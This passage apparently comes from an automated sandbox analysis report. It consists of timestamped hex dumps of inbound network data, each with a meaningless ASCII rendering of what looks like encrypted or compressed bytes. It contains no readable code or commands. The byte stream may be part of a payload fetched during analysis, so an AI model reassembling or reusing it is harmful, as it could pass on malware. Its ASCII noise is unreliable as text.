48 3a 2e bf 37 13 85 3d Data Ascii: txQ+nq\a}xqi}QgJ#-Pzbr'{7X< or_ou0 {nKnWdetiTm>KkE@J1mrf*j5GM-WE^+y,X&<<ceA=0%GmWc{p"Tp?!#GiBS;S3GEH:.7=
2021-09-27 18:14:09 UTC	51	IN	Data Raw: 7d da 7e 6b 2f 72 8a 03 a0 5b 77 ca 9a 0d b8 f8 37 19 06 23 5e be ef 29 81 b0 4d 30 d4 27 ff b6 d1 94 83 8a 11 ba ef ad b8 2b 8c db 0c d5 29 37 8e 61 1c 1c 3f ef c0 33 0d 0a 33 98 36 7f fe 18 f4 e3 52 6d 91 35 9d f2 6d cf 1b 24 0d 83 af 64 fd 6f 8e 35 8a 07 83 1f 23 81 50 28 2c 9b 8b 85 1f 28 90 0f b1 05 16 3e 28 30 4a 27 03 35 7d ea 24 13 a2 53 a1 9f f2 b7 b1 0e 3b 2a c7 20 07 c5 42 02 ba b7 43 de 0b 3d 33 f2 29 82 56 ca e9 a1 54 29 f7 31 f7 01 54 3e 27 f3 3b 86 fa aa d8 bf 34 e0 52 71 2c dc 90 99 0a 7f 01 9e 1a fb 5e ef 17 c8 53 09 13 13 4d 10 c1 84 0b 0e c0 2a f0 9d 6e 64 8c 75 84 43 40 d3 cd 08 cf c0 79 5b cd 91 9b ed 6c 10 f9 30 a4 a7 c6 09 9f 57 5d 4c d7 7b b3 25 4b 33 7c 80 1d e9 0b a1 e4 ad b8 60 3a 38 a6 cb 5f 1a 03 81 b3 75 3b 3b 4d ab 0b 51 93 Data Ascii: }~k/r[w7#^)M0'+)7a?336Rm5m$do5#P(,(>(0J'5}$S;* BC=3)VT)1T>';4Rq,^SM*nduC@y[l0W]L{%K3\|`:8_u;;MQ
2021-09-27 18:14:09 UTC	52	IN	Data Raw: e1 29 f7 1f 44 58 1d 1e c1 c7 2a b4 c3 eb 71 08 17 cc d0 9d 1b a5 89 fb 62 4c f9 f6 c3 8c d6 d0 bd af 41 0b 08 9e 09 0f d8 ca 6c 46 73 9d cd f6 5d 8e 06 e9 57 65 7b 4a 9f 4d e4 78 e1 15 42 d3 f5 be 18 eb 42 6b dd 49 d8 81 a3 b2 79 e3 bc 4a a3 84 70 3c 37 74 65 6e 81 91 67 28 a4 15 82 22 ec 08 a6 45 4b 30 fd 68 e4 80 47 4b 9e 02 82 37 38 9d 85 24 6d 32 b0 22 e5 3d 13 28 e0 a2 b9 30 fd 7b 4a 52 e8 9f 3f 23 e0 27 ca 90 fd 5d a4 d9 31 50 2c 24 5e ea 40 30 a4 1a b0 2a df 72 76 7e 91 4b b3 54 69 cf 2e f2 5b 84 32 84 28 3c f2 fd bd 9a 34 cd c3 5f 0f 12 a2 a6 6c dc 13 a0 e4 5e 46 13 45 b2 81 f9 b6 3b 08 9d 07 3a 3b 36 f2 18 84 ec 4b d6 15 43 ae 80 a5 18 73 d1 27 f0 5d c9 d2 46 46 78 cc fc 3f 66 7e 2c 47 8e c9 3d 2b 30 3d 7a 1c 1d 4b 3b 4a ba 08 80 a9 dd 35 32 0d Data Ascii: )DXqbLAlFs]We{JMxBBkIyJp<7teng("EK0hGK78$m2"=(0{JR?#']1P,$^@0rv~KTi.[2(<4_l^FE;:;6KCs']FFx?f~,G=+0=zK;J52
2021-09-27 18:14:09 UTC	54	IN	Data Raw: 66 5f fb 28 fc cc 04 32 18 39 92 0f 43 e2 e6 ff e7 c8 65 82 38 90 e7 76 c8 22 bf 13 97 5b 49 cd 74 97 1b 0c d0 90 13 11 87 6b d6 2f 8a 87 8b 05 fe 70 22 bb 1e 36 37 ff 23 48 2b 17 55 55 e8 35 1f ae 4a 4e 97 cf a6 cf 22 11 f9 c2 31 08 fc 6c 6d 9e bf 6b e9 1a 34 28 d9 9c bb 45 d9 e5 b0 4c 0b 1d 3b 09 06 17 1d 1d 82 3d 80 eb bc bd b7 3f e0 49 a5 3b 33 94 99 0b 7f 01 fd 51 e8 54 e5 da d3 47 0f 3b 01 6a 17 cc 84 03 a8 a4 16 10 65 b9 bf 52 7f 87 00 8a da a2 55 d0 d2 60 8d cb 8b 4f f9 ba 26 d5 2b bf a4 da 09 1e 55 5d 40 21 b3 b4 0f 00 57 ae 83 1f ef 23 85 dd ad b2 c2 d3 2b ac cb 65 11 1c 8e 41 74 17 30 5c a2 1a 59 0b cf 13 fb ce 08 1e 52 f3 b4 27 21 48 e7 b5 e7 68 cf b9 5c 42 11 6f b6 22 b3 d0 5b af 6a af bd d6 ee 6f d2 88 a0 ec a8 ea cc e8 79 bd 58 3b c5 45 b8 Data Ascii: f_(29Ce8v"[Itk/p"67#H+UU5JN"1lmk4(EL;=?I;3QTG;jeRU`O&+U]@!W#+eAt0\YR'!Hh\Bo"[joyX;E
2021-09-27 18:14:09 UTC	55	IN	Data Raw: 83 1a b3 55 65 77 73 88 5e d6 6c f3 04 54 db 14 ae ca fc 69 62 32 43 d9 f2 fd b5 51 d3 af 45 b8 d4 5f 94 0a e9 74 7a fd da 66 39 a9 1a 76 3c d2 1d bd 56 5c 3f f1 66 1a 90 6c 53 81 ef 8e 04 39 9f 91 35 79 ba bc 34 04 36 2c 36 f1 b9 a8 b2 2b 7a 62 4a c6 57 14 0d e6 0f 08 86 bd 31 73 f9 cd 4f 39 1f 68 ea 51 28 b1 19 5d 2c f3 68 59 60 9f b5 b4 6b 7e c1 31 c9 a9 87 23 90 58 e8 0c fc 9b ba 6f df d9 42 86 a5 81 bf 64 0a 01 9e e7 57 47 0d bb a2 aa eb 3b 80 24 97 0a 18 9f 24 e0 12 98 e2 47 da eb 53 85 96 4a 17 4e da ab f0 5f c8 cd 52 54 69 da f8 de 79 ac 2e 7c 97 df 2d 2d e1 31 66 fd 03 74 2b 61 ae 22 63 76 dc cb 0f 04 49 01 19 dc d4 0d 56 f4 ff cd d2 20 4d a0 f2 5d 84 2a 02 32 3b a3 da 27 94 3f b7 c6 e5 de 39 88 6a f0 c4 9d 5e 2c 54 2e 68 48 90 1c bf fe 69 60 7c Data Ascii: Uews^lTib2CQE_tzf9v<V\?flS95y46,6+zbJW1sO9hQ(],hY`k~1#XoBdWG;$$GSJN_RTiy.\|--1ft+a"cvIV M]*2;'?9j^,T.hHi`\|
2021-09-27 18:14:09 UTC	56	IN	Data Raw: 76 22 bb 1e 04 f3 d1 0f 53 35 01 2d 66 ed 24 09 2e 6b 8a 9f de aa b1 0d 02 e9 d3 f6 92 c5 b3 03 ba b7 7a e8 1a 2d 21 08 60 b5 92 d8 e3 ab 6d 04 e8 38 03 a2 69 27 05 54 28 96 eb be c5 7a 2d eb 52 6b 26 25 86 9d eb 6f 04 98 1c 32 65 43 2e ec 4e 18 eb 01 6b 17 c8 86 17 30 00 3e e1 83 29 89 8c 75 84 3f 95 f8 8b 13 c8 c3 7d 3e 2f 81 91 fd 81 03 c4 21 a4 b0 f9 f4 27 55 57 62 db b3 b3 2f 52 11 bf 8a 0c eb 34 ad 03 ac b2 c8 11 38 bd c1 5f 14 0d 87 de 5c c2 31 5c a8 32 7d 09 cf 19 e8 dc 19 17 45 17 a6 2e 30 15 f1 63 f4 75 de ae 4d 5b 23 db a7 28 a2 da 4a a3 42 88 bd 84 e5 7c d8 c1 ab 83 4d e5 cc e2 6a af 70 15 c6 5e 8e 51 fc 90 d0 00 54 0e 20 c3 93 cf fd fe ef 59 48 d2 3c 14 ed 2e 45 6b f9 65 9f f6 de d9 48 38 8b 83 3b ed 58 3d 1c 7a 94 a6 15 2c a3 45 40 8d 43 c5 Data Ascii: v"S5-f$.kz-!`m8i'T(z-Rk&%o2eC.Nk0>)u?}>/!'UWb/R48_\1\2}E.0cuM[#(JB\|Mjp^QT YH<.EkeH8;X=z,E@C
2021-09-27 18:14:09 UTC	57	IN	Data Raw: 2d 57 4d 27 fd 65 dc f3 41 54 97 ee 89 33 b0 8d 83 3f 7b ae b2 20 d2 14 04 2f e6 a5 96 06 03 7a 6c 5c f3 6b 2d 26 e1 1e 06 ff 46 56 8c 0c 23 56 45 2c 7b ea 4a 12 6a 01 a3 2b f7 4d 73 61 9d da ca 78 7b d4 45 f2 b9 87 34 ba 54 ce f2 fd a6 b0 56 f6 cc 4c 0e 04 9b 8f 7b 22 18 9a d4 78 52 05 41 cc 3d e3 48 30 35 91 6f 32 84 37 f8 2b 66 f0 58 d1 04 57 ae 8c 5f 76 e4 d6 31 e9 49 d1 ae 61 47 69 c1 c2 05 65 52 29 78 b3 cc 3d 3c 58 5a 76 e2 16 08 1d 63 bf 36 44 92 22 ca 23 19 5e 21 34 b7 fc 09 40 da ce ef c1 38 5b f1 52 42 a1 d4 04 0f 33 ca 70 2e fb 2e a7 c0 80 e1 1e 9b 72 d8 fb 8d 44 d4 43 2a 4f 36 03 16 a9 cf f7 7b 6f 8b 44 81 23 69 b6 af 70 fa af b7 59 b0 80 b7 8c 45 1f 0d df 7c fd a7 56 0d 55 29 cd c4 db 9b 14 eb cd eb 00 7a 8d d6 f2 9e f5 c3 0c 30 02 1f 2f 73 Data Ascii: -WM'eAT3?{ /zl\k-&FV#VE,{Jj+Msax{E4TVL{"xRA=H05o27+fXW_v1IaGieR)x=<XZvc6D"#^!4@8[RB3p..rDC*O6{oD#ipYE\|VU)z0/s
2021-09-27 18:14:09 UTC	59	IN	Data Raw: 39 12 30 7b 37 16 83 3b 86 8e b5 d2 bd 4d 5a 43 7b 3d 28 b9 a8 0f 6e 02 ba 25 e8 54 e5 2e ef 48 18 eb 3a 45 06 c7 9f 1c 23 02 2c d8 aa 46 40 86 58 85 5f 36 d3 cd 08 db 0f bd 51 cd 80 80 f2 87 39 8a 2b b5 a4 dc 28 0e 7b 59 4a f9 9b 9c 21 41 1d 86 de 1d ef 25 96 e0 a4 9a ed 25 2b aa e3 7e 14 1c 88 65 29 17 30 5a b1 1c 50 21 fe 17 fb d0 20 2c 56 c1 b3 0f 7c 02 e6 b3 f4 6a c6 91 6c 46 11 69 9e 13 b7 d0 5d 81 37 af bd 82 fc 68 db f8 92 e8 a8 e2 e4 c6 7d a7 5e 13 99 5e 88 44 f6 90 de 39 77 1a ba ed 4f e7 d3 f4 cc 53 5e fc 70 67 4f 72 05 34 fb 66 9f f5 a0 14 27 10 83 94 e7 eb 3e de 14 15 ba 8c c3 2b b2 46 3d d3 43 b0 12 3a 51 e8 47 b6 72 cf 62 fb f6 28 51 7f 95 0e d0 a3 ea 7b 27 cc ae 38 49 c3 95 46 b8 8c 34 47 88 9f 2c 2a f9 b8 89 75 2c df 10 d2 8f 72 25 00 7e Data Ascii: 90{7;MZC{=(n%T.H:E#,F@X_6Q9+({YJ!A%%+~e)0ZP! ,V\|jlFi]7h}^^D9wOS^pgOr4f'>+F=C:QGrb(Q{'8IF4G,*u,r%~
2021-09-27 18:14:09 UTC	60	IN	Data Raw: 22 78 ea 46 10 b4 10 a8 2d ce 68 69 9f 9a 99 bc 7a 14 17 2a da b1 9d 6f 94 69 56 eb ee bc b6 6f d9 de b2 09 3e b0 b6 68 29 12 9d ec 5d ab 15 69 a1 ad e7 70 53 db 68 ff 03 82 2b 90 03 83 26 4b d6 04 5b be 4b 48 10 4e de 28 dd 27 28 3e be 40 61 da ed de 77 31 0f af 9d ce 3d 65 83 be 7e f5 ca 6b 3f 69 ae 37 62 34 02 35 23 08 58 56 a5 2f f4 18 80 fe e6 e7 d0 35 6d 4e e0 42 a1 8b b7 82 3f b2 1d 23 f2 26 d9 0f ef c1 15 a4 40 0f 2a 70 42 fa a4 02 61 30 10 18 97 da 67 7b 69 98 46 81 23 88 ba bd 76 db 9f a0 30 87 5b a4 80 7c de 1e db 6b d3 18 4b 57 32 6e 5e c5 db 9b 14 d2 cc eb 0c 41 ae c7 f5 80 f0 ee 33 36 18 25 e3 4c 0a 5f 88 4d 05 c4 d8 d2 97 93 c2 02 c3 46 d0 05 7b aa 9c 5b 5b 8a 4c d1 74 09 83 51 fc 6b 7f fe de 89 88 01 93 3c 0c 12 f2 2c 46 3b d9 93 65 a3 d1 Data Ascii: "xF-hizoiVo>h)]ipSh+&K[KHN('(>@aw1=e~k?i7b45#XV/5mNB?#&@pBa0g{iF#v0[\|kKW2n^A36%L_MF{[[LtQk<,F;e
2021-09-27 18:14:09 UTC	61	IN	Data Raw: 8e 26 e3 ca cc 02 da f8 6a 4a fd 84 91 6a 93 11 d5 a8 b5 a2 c0 52 9c 55 5d 40 f3 9b 9d 27 41 1d a5 ab 19 ef 23 83 8b 19 b3 c2 2b 03 e6 cf 4e 16 34 c5 49 74 11 24 33 17 1b 59 03 e7 8f fb d6 02 15 8c d5 90 0f 16 02 e6 bf f4 67 c7 b3 74 7a 11 6f bc ff ea d1 5b a9 19 13 bd 84 e5 62 d5 f8 ed e8 a8 e2 e4 cc 79 a7 52 28 c0 4f 8c 6a cb 81 d6 1b 75 2f ab ef 71 71 fc f4 c6 4a 4e c3 3a 07 60 66 16 3e c3 74 9f f1 a0 1c d2 2b 86 9d e6 eb 30 e7 38 7a 9e 84 ac e1 a3 4f 26 c5 67 43 c4 29 5b 96 6d a5 7f 47 c4 c0 03 37 57 77 b9 68 95 0f eb 7d 2b ce a9 6f 8b c2 95 4c 74 8d 39 c0 be 9f 26 33 e2 a3 a9 65 03 df 1a 06 b6 68 30 25 56 b7 7f 5b 82 1c 79 06 fd dd 79 88 bc 7d df c9 17 70 13 8e ab 59 61 7a da d0 b9 67 70 ab f2 73 4c 7f 51 c6 f6 78 4a 3c 2a 4c de 13 76 c5 ed ea d1 0c Data Ascii: &jJjRU]@'A#+N4It$3Ygtzo[byR(Oju/qqJN:`f>t+08zO&gC)[mG7Wwh}+oLt9&3eh0%V[yy}pYazgpsLQxJ<*Lv
2021-09-27 18:14:09 UTC	63	IN	Data Raw: 81 fd 76 25 04 0b 11 15 9a 08 ed 66 15 e1 5f ce 55 4d c6 01 4a 1e 40 96 2e c3 c4 c6 c6 5e 04 76 b9 76 d0 60 4d 6c 4f f8 52 2c 3d 28 66 69 91 80 76 3e 7e fa 2f 13 cb 33 cd 3c 4e 47 65 8d a2 fb 10 11 ed 96 73 d0 35 52 f9 ff 27 3d c5 04 01 7e ba eb b3 ea 23 a9 8c f0 89 83 8a 7f ef 9e 90 10 4e 44 05 7e 7a 1c 48 23 e5 62 64 22 94 13 0c 36 01 12 e0 6f d0 22 a0 31 8f ce a8 f6 f1 ca 08 c0 2a ca fb c8 1c 54 59 e4 db b4 0d 2d 00 d2 b9 19 11 16 d6 f2 95 b0 fd be 21 05 06 3c 4b 04 5d a6 5c 35 c6 d4 cf 9f 87 ea 03 c1 46 c7 05 e5 a8 a4 ac 5a 9e 58 c5 4d af 9c 58 08 72 df c8 e6 08 89 29 38 23 06 0b df 76 57 3e c4 7e 6c 9c d4 4e 77 77 4e 33 e7 00 16 a0 5a 65 d0 8e 1d bd e3 31 84 33 34 a0 be 61 3b 90 b7 6f 9c c5 2d e9 59 d5 bf 1b 75 86 ba ef a6 9a d8 9e d1 06 ec 79 29 70 Data Ascii: v%f_UMJ@.^vv`MlOR,=(fiv>~/3<NGes5R'=~#ND~zH#bd"6o"1*TY-!<K]\5FZXMXr)8#vW>~lNwwN3Ze134a;o-Yuy)p
2021-09-27 18:14:09 UTC	64	IN	Data Raw: 12 5c 6e 3f 93 5c a2 10 48 13 d9 83 d7 dd 19 07 44 5b 9d 36 21 02 ec a6 ef 16 dd b9 5c 59 02 64 a7 28 a2 d6 4a a2 05 b6 bc 84 e5 00 f3 d1 a1 e6 be cc 23 e9 79 ad 70 ee c5 5e 82 6a d4 83 d6 17 36 60 ba eb 53 a0 d9 f6 cc 5f 96 ed 14 23 6d 70 0f 23 e0 1b 9c fc b1 0b 5b 33 90 9e f0 fc 26 c4 73 63 9f 8e c9 42 82 4e 2c de 7d 7c fd 3b 57 8d 49 61 73 c9 79 da f0 1e 55 79 fc 19 fa a1 e0 12 05 df a7 51 7a fa 95 4c 6c 5d 11 7e ba b7 73 24 ea b4 ce fe 2d df 10 20 d8 bd 3a 34 53 8e 28 77 cf 1e 16 b3 d4 f9 73 a0 2a 6e d4 b0 63 59 11 88 be 8d 39 55 e3 ec d6 7b 7b b8 fa 11 64 6c 57 d1 e0 59 04 31 3b 40 99 ee 73 c5 e1 f1 78 0d e8 0a 65 06 45 58 08 3f 02 c2 2a a3 ec dc 8d 09 3d a8 ae 9f 33 70 e6 d3 66 47 e5 cd fc 8c c7 dd 7c a8 ae 00 0c df 1a 0b f6 45 47 44 75 b3 f2 fe 4c Data Ascii: \n?\HD[6!\Yd(J#yp^j6`S_#mp#[3&scBN,}\|;WIasyUyQzLl]~s$- :4S(wsncY9U{{dlWY1;@sxeEX?=3pfG\|EGDuL
2021-09-27 18:14:09 UTC	65	IN	Data Raw: 39 ed 80 30 7c 56 34 e2 d1 09 58 03 3d b6 ea 1c 42 d9 e3 f8 d2 26 5b a0 f2 55 2d eb 03 1e 36 8d 60 2f fb 2e 9e 9c ef c1 15 88 5d e3 c3 b7 04 d6 55 02 70 38 14 91 b8 f4 65 7a 7c a8 52 b3 31 17 1b 22 4f f0 be b0 94 81 a2 a3 ae c1 db 0f d5 65 f5 05 6b 0d 53 47 a3 ec 6c 91 3c 0d f4 ef 02 69 8a d6 fb 9d 6e ec 22 30 03 06 1b 4c 2d 63 99 48 b9 ff d8 d9 97 31 d3 a0 d7 6e 6d 13 68 a5 bb d3 d7 b5 4c d1 64 1a b4 ab 03 6a 59 ce 33 0b 88 01 82 2d 11 8c f0 2c 57 3f dd 4b 75 a9 c4 74 32 f3 78 24 6a 06 b4 b1 7d 62 f1 33 14 ab f8 28 35 80 0b a0 bf c2 3c b1 3d 46 30 cf 14 45 4b d0 b8 9b f6 bc b4 f8 2a b5 36 9f d0 1f e2 32 0f 66 71 26 97 16 fc c6 2d a6 08 1f 8c 0f d9 e3 e6 ff e7 0e 65 82 38 ab 0a 66 cf 00 06 c7 96 51 6f f9 41 9f 33 97 c2 9f 08 33 bc 2e 26 2c 8c ee 86 0c d6 Data Ascii: 90\|V4X=B&[U-6`/.]Up8ez\|R1"OekSGl<in"0L-cH1nmhLdjY3-,W?Kut2x$j}b3(5<=F0EK*62fq&-e8fQoA33.&,
2021-09-27 18:14:09 UTC	66	IN	Data Raw: fc a9 a3 26 eb 38 28 b8 e3 b3 b8 47 1f 7b 66 40 ed 50 2d 2c ce 7f 06 90 fb 38 90 07 32 5a 13 79 7b ea 40 2b b8 1c aa fb cc 79 60 75 8d 86 b4 69 6d c6 fc c9 a1 af 1c 80 47 c9 e1 e6 9c 8d 6f c9 d9 42 1f 9f b4 a1 7b 23 01 ae f6 64 43 05 5f 2f b9 e2 48 3b 86 86 22 06 ad 9b f2 12 83 d8 02 d1 15 58 81 76 5a 19 55 ff e4 e2 58 dd e9 65 46 69 c1 f9 da 76 48 38 86 8e d4 2c 34 20 af 71 e2 1c 66 2a 47 ae 16 6a 46 38 46 1c 08 58 08 b3 a2 da 1b 7e 5e e0 ef cb 2d 6d 3d df 42 a1 d5 15 36 80 a5 cb 25 d7 0b a7 c8 f8 4c 18 9b 78 f1 c6 ac 55 f1 43 13 7b ba 3c 1c bf f5 c7 6a 4c 9f 6b 3c 27 06 07 b1 0f 7c 81 b1 36 91 97 9f 75 6c db 05 e5 10 2a 76 ab 1c 48 6e 9b c6 db 97 2a 2f e3 eb 06 63 9c e9 e7 9b f3 fa 36 21 19 3d c5 5d 0f 73 e7 78 37 c0 de f2 9a 82 d2 aa ed 44 c1 15 07 89 Data Ascii: &8(G{f@P-,82Zy{@+y`uimGoB{#dC_/H;"XvZUXeFivH8,4 qfGjF8FX~^-m=B6%LxUC{<jLk<'\|6ulvHn*/c6!=]sx7D
2021-09-27 18:14:09 UTC	67	IN	Data Raw: 0e 81 a4 09 46 70 96 06 ee 7c cb 06 c2 46 0b e8 39 67 75 7d 95 0f 2c 39 01 de 99 46 46 9f 73 9f 29 a4 90 cc 02 da c1 63 47 de 88 87 e6 9b 9f 62 30 6f b1 c1 32 2c 6d c2 4a ff b3 a2 2c 50 11 3f 95 5d 61 23 85 e4 bc bb d3 2b 3c 7a 5a 58 50 9d 8e 4d 74 06 39 4d a8 02 8f 98 d9 20 8c c7 01 0f 58 d8 63 b6 3f 31 8b a4 ee 73 c5 a6 53 94 80 7c be 3c 3e fb 5b a9 6b bc b1 95 e7 78 08 c7 77 61 83 e4 cc e9 6a ac 49 32 d5 54 92 94 eb 8d c0 00 55 96 0d c3 41 ce fd fe dd 50 59 d8 23 04 bb 61 0e 24 f9 64 00 4b 99 08 49 38 8b 93 f0 f6 26 c4 34 7b 9f 8e c5 05 8c 4c 2c d2 43 cf 12 3a 5d af 57 b5 72 c3 5b 6e de 1c 5f 74 82 6b e5 aa fb 75 f7 0b b4 5d 43 c8 82 9a 75 89 00 65 ae 8f 12 78 15 4d 5e 4a 04 df 1b 0c 89 a7 37 0d 79 a5 77 75 da 0e 51 47 d4 f9 73 9b b1 74 c5 bd 82 c6 0a Data Ascii: Fp\|F9gu},9FFs)cGb0o2,mJ,P?]a#+<zZXPMt9M Xc?1sS\|<>[kxwajI2TUAPY#a$dKI8&4{L,C:]Wr[n_tku]CuexM^J7ywuQGst
2021-09-27 18:14:09 UTC	68	IN	Data Raw: d8 02 fe bb 87 38 aa 76 cf f2 f7 9b aa 79 fa e9 48 08 14 9b 82 7b 22 18 a4 9f 42 55 12 6d 87 86 e2 42 55 38 96 00 14 ae 31 81 a8 89 f0 52 fb 12 3d 11 9c 5b 13 30 6e 30 e3 52 c4 c9 79 06 68 cb ea d3 6f 7a 95 51 9d c4 2e 3f 44 00 74 e2 1a 74 3f 66 ae 35 13 ec 23 ca 29 67 d9 08 11 b9 93 8d 57 f2 ea fc c8 0a aa b1 e0 42 b3 dd 2b 9d 36 a5 c1 3c fc 35 b1 ee b5 c5 1f 9d 6e d8 fb 8f 44 d8 43 31 7a 27 05 1b ae f1 0a c0 6e 8b 49 81 20 69 2d af 70 fa d1 95 34 90 87 8f 35 6d db 0f ce 7d fd f0 50 0d 55 50 9d ea db 91 36 11 fe d9 01 78 8f a8 4e 8b e3 e1 33 37 6d 35 38 5d 05 4c 07 5e 35 c0 c9 df 91 82 c7 ed 78 47 c1 19 79 a8 cb 8c 5a 8a 46 c7 4d 0a 9d 58 04 05 75 f5 e6 0e a3 70 82 24 2e 7b f3 2c 51 28 e6 43 64 8f d8 73 17 44 40 35 6f 68 ad a1 5b 7c c8 98 7b 8b f3 37 02 Data Ascii: 8vyH{"BUmBU81R=[0n0RyhozQ.?Dtt?f5#)gWB+6<5nDC1z'nI i-p45m}PUP6xN37m58]L^5xGyZFMXup$.{,Q(CdsD@5oh[\|{7
2021-09-27 18:14:09 UTC	70	IN	Data Raw: a1 8a 5b 25 26 53 4b c7 f8 b3 b3 24 55 0f ba ab be ef 23 8f cc 31 b2 c2 2b 44 8a c9 4e 16 0d 87 45 65 13 5f 5d a0 1a 53 72 cc 11 fb dc 67 36 50 c1 b3 36 28 2a c8 b7 e7 64 a0 9d 5e 42 17 69 a7 2b dc cb 5a a9 60 71 b1 ac d8 6f d2 da 89 d4 a8 e4 c6 36 79 b6 5c 2c 12 4d 8c 53 fe 90 c4 2f 89 e6 45 14 2a 33 fc f4 c6 54 41 fa b7 10 6d 76 2d be ec 6f 88 d4 92 10 48 32 a9 19 e5 fa 31 e7 38 7a 9e 84 eb a3 a7 4f 2a a7 96 55 12 30 38 79 60 b4 78 c0 5b 79 da 1c 53 57 1f 65 fa a7 c2 5e 21 dd ad 7f df c6 95 4a 4e a7 11 6f b5 b7 a3 24 ea b4 d2 b0 2d df 10 63 71 ad 30 2f 5f 8e fc 77 cf 1e 51 90 d1 f9 7f a0 95 6e d4 b0 24 fc 17 88 be 7b 54 70 cb d1 fe f5 75 ab f2 73 93 7c 51 ca 8a 8f 5a 35 31 4f de d6 76 c5 ed ad fa 09 e8 17 22 3c 44 58 08 3f 5f c4 2a a3 ec d6 8f 09 31 ef Data Ascii: [%&SK$U#1+DNEe_]Srg6P6(d^Bi+Z`qo6y\,MS/E3TAmv-oH218zOU08y`x[ySWe^!JNo$-cq0/_wQn${Tpus\|QZ51Ov"<DX?_1
2021-09-27 18:14:09 UTC	71	IN	Data Raw: 38 82 1b 46 44 b4 51 ea 49 d1 50 61 c6 69 cb ea 9e 7a 31 4f e4 01 d1 2d 29 3f 22 67 ea 03 72 c7 60 93 3b 74 4f 4d e6 22 08 52 16 07 a0 f4 0f 47 fa fc 11 c0 1e 45 a0 e7 5b bd 48 1e 0d 3f a5 da 27 e4 32 48 c7 c3 cc 17 92 6c 9f d2 8d 44 d8 5f 1d 76 25 0b 1c ae fc 7a 75 91 8a 6f 97 31 15 0b b1 7f e3 b6 b1 27 98 9e a5 78 6c f7 08 ce 7e d8 96 47 1e 5b 46 a4 cc cd 6f 3d 2b ce fc 15 61 8a d6 fd 95 fb 15 23 1c 00 3e 3c 65 e9 88 77 a1 1d 9e d9 d9 9c 82 c7 ed da 47 c1 19 42 af b7 9c 5e 8a 92 d1 65 0c 1c 58 02 7b 45 e4 e3 30 47 01 93 23 06 10 f2 36 a9 3f e2 67 72 88 c5 bf 37 7b 4a 3f 79 02 16 b1 5e 6f 27 9e 38 8c f5 5b 2b 0c 34 a0 bf c3 2a 99 e3 1c 13 c5 2d e3 48 d0 b8 7a c6 f4 92 7e a7 b2 3c 28 c6 da 49 08 29 70 61 3a 01 3a f9 c6 3d 01 05 c7 99 0b 53 e5 ef 99 ec 54 Data Ascii: 8FDQIPaiz1O-)?"gr`;tOM"RGE[H?'2HlD_v%zuo1'xl~G[Fo=+a#><ewGB^eX{E0G#6?gr7{J?y^o'8[+4*-Hz~<(I)pa::=ST
2021-09-27 18:14:09 UTC	72	IN	Data Raw: b5 36 21 02 e6 af e7 62 ce a2 6c 45 11 cd b6 22 b3 48 5b a9 7b b9 be eb 67 6e d2 d6 b6 36 bb e1 c7 d0 f8 a7 58 3b ec 14 89 42 f0 82 d1 06 36 91 bb eb 5f a0 65 f4 cc 53 45 db 14 13 6d 70 2e 3e e0 43 c1 f4 a5 38 d0 3c 81 92 f7 77 30 cf 1c 7b 8a 9a d7 05 00 4f 2c de 7f 7c c8 39 57 81 77 39 75 c9 73 f3 ca 08 41 57 30 61 fa ab e8 6b 09 2f a6 57 58 ee 88 44 72 ab 8b 6b bf 99 3a ad ed b2 a1 4c 38 cb 0e 24 2c ac 30 2f 7e 3a 77 73 c5 12 a7 23 0b f6 5c a0 81 6e d4 b0 1f 75 3b b0 b8 53 7a ae cb dc c1 ad 7a ac e5 05 50 0a ae 3f 1a 59 75 37 3b 40 dc 5b 58 c5 eb 84 7a 0d e8 11 0a 0e 44 36 7d 17 dd da 2a a5 c5 e9 bf 0d 3b 12 d6 9f 33 e3 89 fb 75 53 ef f1 cf 8f ef 89 a3 a4 b5 22 bf 8c 18 0d 9f b2 6f 46 7f c6 29 f5 5d 82 64 93 7f 0c 70 60 8a 32 80 7f e1 0e 56 cd 78 8f 35 Data Ascii: 6!blE"H[{gn6X;B6_eSEmp.>C8<w0{O,\|9Ww9usAW0ak/WXDrk:L8$,0/~:ws#\nu;SzzP?Yu7;@[XzD6}*;3uS"oF)]dp`2Vx5
2021-09-27 18:14:09 UTC	73	IN	Data Raw: e0 e9 d0 39 5c b9 8f 6a a3 d4 05 0f 3e b2 1d 3c f2 35 bf d7 e0 ff 70 64 87 0f d3 a5 4c f8 55 02 61 37 13 1c bf f4 65 c5 6e 81 8b 91 33 1c 0d ae 71 eb 8e b4 36 08 83 b7 86 f1 db 0f ce 65 c9 a1 ef 0d 53 4c 9d 58 df 91 3a 2f e9 eb 06 63 81 b4 4f 8a e3 e1 28 2f 22 98 12 5d 0f 74 9b 50 24 ce ce c6 a3 0f d3 8c d4 66 21 13 68 af 38 bd 55 92 6c 54 65 0c 9c c4 13 64 4a e8 d6 94 99 0f 89 03 8c 01 f7 2c cb 2f c0 76 7b e2 4e 74 2a 63 67 b5 6a 07 16 3c 4a 78 c4 bf b7 ab f2 37 94 1d 3a be 9f 55 2a 99 a3 db 21 cb 32 ea 57 8f 24 9b f7 b2 b0 cf 55 b2 36 9f 4d 1d ca 3c 22 6f 57 ac 0a 27 e3 ca 0c 91 19 39 98 bb 64 ed f9 f8 ef 85 65 82 32 1f f0 69 d0 04 0e dd 97 51 65 4d 74 91 2c 92 ce a6 85 2d 9a 5c 32 33 fb 1d 8b 03 c9 80 03 65 14 1e 29 62 32 4c 27 02 39 09 76 24 17 a2 50 Data Ascii: 9\j><5pdLUa7en3q6eSLX:/cO(/"]tP$f!h8UlTedJ,/v{Ntcgj<Jx7:U!2W$U6M<"oW'9de2iQeMt,-\23e)b2L'9v$P
2021-09-27 18:14:09 UTC	75	IN	Data Raw: fa 51 e7 ea f5 cc 5f 27 f4 3e 14 6b 61 0f 1a 49 6b 8e fa de 3a 4a 38 87 85 eb d2 60 cd 1c 7c f1 a6 c1 2d a5 48 3d de 04 4f 13 3a 5d 59 6d 9c 45 c9 73 f8 f6 24 55 7f 99 bf fa b0 e7 6a f7 ce aa 46 5f d3 9b c2 d1 bc 93 91 40 60 3d 2b fd 64 b2 46 3d d4 0b 00 01 1b 0f 7c a8 59 88 74 e5 18 79 00 94 e5 79 88 b6 6e d4 ba 8a 71 13 88 83 52 70 70 0a da d6 7b 7d ab f4 00 74 7d 51 c1 fe 41 5f 35 16 47 f6 5d ed c5 eb 94 19 b7 e8 11 00 15 5b 42 2a ac d2 c0 20 8d 6d f6 8f 0f 13 e3 d6 9f 39 76 81 d3 55 47 e3 ef fd 84 c6 d7 a2 ac 97 49 25 88 12 23 e8 2b 6f 40 66 b1 f2 f0 4a 05 36 91 57 64 62 6c 91 4d e1 60 eb 99 54 c5 64 f3 35 fd 4f 72 2a 5b c0 69 b1 b8 69 